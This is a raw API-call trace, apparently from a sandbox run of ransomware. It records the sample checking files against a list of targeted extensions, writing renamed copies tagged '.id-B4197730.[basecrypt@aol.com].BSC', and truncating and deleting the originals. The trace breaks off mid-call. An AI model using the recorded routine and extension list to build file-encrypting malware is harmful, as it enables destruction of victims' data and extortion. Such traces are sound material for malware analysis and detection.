[0104.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.695] lstrlenW (lpString=".dbf") returned 4 [0104.695] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.695] lstrlenW (lpString=".1cd") returned 4 [0104.695] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.695] lstrlenW (lpString=".jpg") returned 4 [0104.695] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.695] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.695] lstrlenW (lpString=".doc") returned 4 [0104.695] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.695] lstrlenW (lpString=".docx") returned 5 [0104.695] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0104.695] lstrlenW (lpString=".pdf") returned 4 [0104.695] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.695] lstrlenW (lpString=".xls") returned 4 [0104.695] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.695] lstrlenW (lpString=".xlsx") returned 5 [0104.695] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0104.695] lstrlenW (lpString=".ppt") returned 4 [0104.695] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.696] lstrlenW (lpString=".zip") returned 4 [0104.696] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.696] lstrlenW (lpString=".rar") returned 4 [0104.696] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.696] lstrlenW (lpString=".bz2") returned 4 [0104.696] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.696] lstrlenW (lpString=".7z") returned 3 [0104.696] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.696] lstrlenW (lpString=".dbf") returned 4 [0104.696] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.696] lstrlenW (lpString=".1cd") returned 4 [0104.696] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.696] lstrlenW (lpString=".jpg") returned 4 [0104.696] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.696] lstrcmpiW (lpString1=".BAK", lpString2=".BSC") returned -1 [0104.696] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0104.696] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0104.697] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=8192) returned 1 [0104.697] CloseHandle (hObject=0x320) returned 1 [0104.697] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0104.697] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\bootsect.bak.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.697] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0104.697] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0104.698] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.698] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.698] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\bootsect.bak.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0105.021] GetLastError () returned 0x0 [0105.021] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x2000, lpOverlapped=0x0) returned 1 [0105.063] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x2010, lpOverlapped=0x0) returned 1 [0105.064] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.064] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xec, lpOverlapped=0x0) returned 1 [0105.064] SetEndOfFile (hFile=0x2ec) returned 1 [0105.064] CloseHandle (hObject=0x2ec) returned 1 [0105.065] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.065] SetEndOfFile (hFile=0x320) returned 1 [0105.066] CloseHandle (hObject=0x320) returned 1 [0105.066] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x27) returned 1 [0105.066] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0105.067] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.067] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.067] lstrlenW (lpString=".doc") returned 4 [0105.067] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString=".docx") returned 5 [0105.067] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0105.067] lstrlenW (lpString=".pdf") returned 4 [0105.067] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString=".xls") returned 4 [0105.067] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString=".xlsx") returned 5 [0105.067] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0105.067] lstrlenW (lpString=".ppt") returned 4 [0105.067] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.067] lstrlenW (lpString=".zip") returned 4 [0105.067] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString=".rar") returned 4 [0105.067] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString=".bz2") returned 4 [0105.067] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString=".7z") returned 3 [0105.067] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0105.067] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.067] lstrlenW (lpString=".dbf") returned 4 [0105.067] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0105.067] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.068] lstrlenW (lpString=".1cd") returned 4 [0105.068] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0105.068] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.068] lstrlenW (lpString=".jpg") returned 4 [0105.068] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.068] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.068] lstrlenW (lpString=".doc") returned 4 [0105.068] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString=".docx") returned 5 [0105.068] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0105.068] lstrlenW (lpString=".pdf") returned 4 [0105.068] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString=".xls") returned 4 [0105.068] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString=".xlsx") returned 5 [0105.068] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0105.068] lstrlenW (lpString=".ppt") returned 4 [0105.068] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.068] lstrlenW (lpString=".zip") returned 4 [0105.068] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString=".rar") returned 4 [0105.068] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString=".bz2") returned 4 [0105.068] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0105.068] lstrlenW (lpString=".7z") returned 3 [0105.068] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0105.068] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.069] lstrlenW (lpString=".dbf") returned 4 [0105.069] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0105.069] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.069] lstrlenW (lpString=".1cd") returned 4 [0105.069] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0105.069] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0105.069] lstrlenW (lpString=".jpg") returned 4 [0105.069] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0105.069] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0105.069] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0105.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0105.069] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=4136) returned 1 [0105.069] CloseHandle (hObject=0x320) returned 1 [0105.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0105.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0105.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0105.070] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.070] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0105.074] GetLastError () returned 0x0 [0105.074] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x1028, lpOverlapped=0x0) returned 1 [0105.422] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x1030, lpOverlapped=0x0) returned 1 [0105.423] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.423] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x100, lpOverlapped=0x0) returned 1 [0105.423] SetEndOfFile (hFile=0x2ec) returned 1 [0105.424] CloseHandle (hObject=0x2ec) returned 1 [0105.424] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.424] SetEndOfFile (hFile=0x320) returned 1 [0105.425] CloseHandle (hObject=0x320) returned 1 [0105.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0105.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.426] lstrlenW (lpString=".doc") returned 4 [0105.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.426] lstrlenW (lpString=".docx") returned 5 [0105.426] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0105.426] lstrlenW (lpString=".pdf") returned 4 [0105.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.426] lstrlenW (lpString=".xls") returned 4 [0105.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.426] lstrlenW (lpString=".xlsx") returned 5 [0105.426] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0105.426] lstrlenW (lpString=".ppt") returned 4 [0105.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.426] lstrlenW (lpString=".zip") returned 4 [0105.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.426] lstrlenW (lpString=".rar") returned 4 [0105.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.426] lstrlenW (lpString=".bz2") returned 4 [0105.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.426] lstrlenW (lpString=".7z") returned 3 [0105.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.426] lstrlenW (lpString=".dbf") returned 4 [0105.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.427] lstrlenW (lpString=".1cd") returned 4 [0105.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.427] lstrlenW (lpString=".jpg") returned 4 [0105.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.427] lstrlenW (lpString=".doc") returned 4 [0105.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.427] lstrlenW (lpString=".docx") returned 5 [0105.427] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0105.427] lstrlenW (lpString=".pdf") returned 4 [0105.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.427] lstrlenW (lpString=".xls") returned 4 [0105.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.427] lstrlenW (lpString=".xlsx") returned 5 [0105.427] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0105.427] lstrlenW (lpString=".ppt") returned 4 [0105.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.427] lstrlenW (lpString=".zip") returned 4 [0105.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.428] lstrlenW (lpString=".rar") returned 4 [0105.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.428] lstrlenW (lpString=".bz2") returned 4 [0105.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.428] lstrlenW (lpString=".7z") returned 3 [0105.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.428] lstrlenW (lpString=".dbf") returned 4 [0105.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.428] lstrlenW (lpString=".1cd") returned 4 [0105.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.428] lstrlenW (lpString=".jpg") returned 4 [0105.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.428] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0105.428] lstrlenW (lpString="Content.xml") returned 11 [0105.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0108.201] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=27045) returned 1 [0108.201] CloseHandle (hObject=0x34c) returned 1 [0108.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0108.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0108.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0108.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.201] lstrlenW (lpString=".doc") returned 4 [0108.202] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString=".docx") returned 5 [0108.202] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0108.202] lstrlenW (lpString=".pdf") returned 4 [0108.202] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString=".xls") returned 4 [0108.202] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString=".xlsx") returned 5 [0108.202] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0108.202] lstrlenW (lpString=".ppt") returned 4 [0108.202] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.202] lstrlenW (lpString=".zip") returned 4 [0108.202] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0108.202] lstrlenW (lpString=".rar") returned 4 [0108.202] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString=".bz2") returned 4 [0108.202] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString=".7z") returned 3 [0108.202] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0108.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.202] lstrlenW (lpString=".dbf") returned 4 [0108.202] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.202] lstrlenW (lpString=".1cd") returned 4 [0108.202] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0108.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.203] lstrlenW (lpString=".jpg") returned 4 [0108.203] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0108.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.203] lstrlenW (lpString=".doc") returned 4 [0108.203] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0108.203] lstrlenW (lpString=".docx") returned 5 [0108.203] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0108.203] lstrlenW (lpString=".pdf") returned 4 [0108.203] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0108.203] lstrlenW (lpString=".xls") returned 4 [0108.203] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0108.203] lstrlenW (lpString=".xlsx") returned 5 [0108.203] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0108.203] lstrlenW (lpString=".ppt") returned 4 [0108.203] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0108.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.203] lstrlenW (lpString=".zip") returned 4 [0108.203] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0108.204] lstrlenW (lpString=".rar") returned 4 [0108.204] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0108.204] lstrlenW (lpString=".bz2") returned 4 [0108.204] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0108.204] lstrlenW (lpString=".7z") returned 3 [0108.204] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0108.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.204] lstrlenW (lpString=".dbf") returned 4 [0108.204] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0108.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.204] lstrlenW (lpString=".1cd") returned 4 [0108.204] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0108.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0108.204] lstrlenW (lpString=".jpg") returned 4 [0108.204] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0108.204] lstrcmpiW (lpString1=".avi", lpString2=".BSC") returned -1 [0108.204] lstrlenW (lpString="boxed-split.avi") returned 15 [0108.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.515] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=84190) returned 1 [0109.515] CloseHandle (hObject=0x310) returned 1 [0109.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0109.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0109.516] lstrlenW (lpString=".doc") returned 4 [0109.516] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0109.516] lstrlenW (lpString=".docx") returned 5 [0109.516] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0109.516] lstrlenW (lpString=".pdf") returned 4 [0109.516] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0109.516] lstrlenW (lpString=".xls") returned 4 [0109.516] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0109.516] lstrlenW (lpString=".xlsx") returned 5 [0109.516] lstrcmpiW 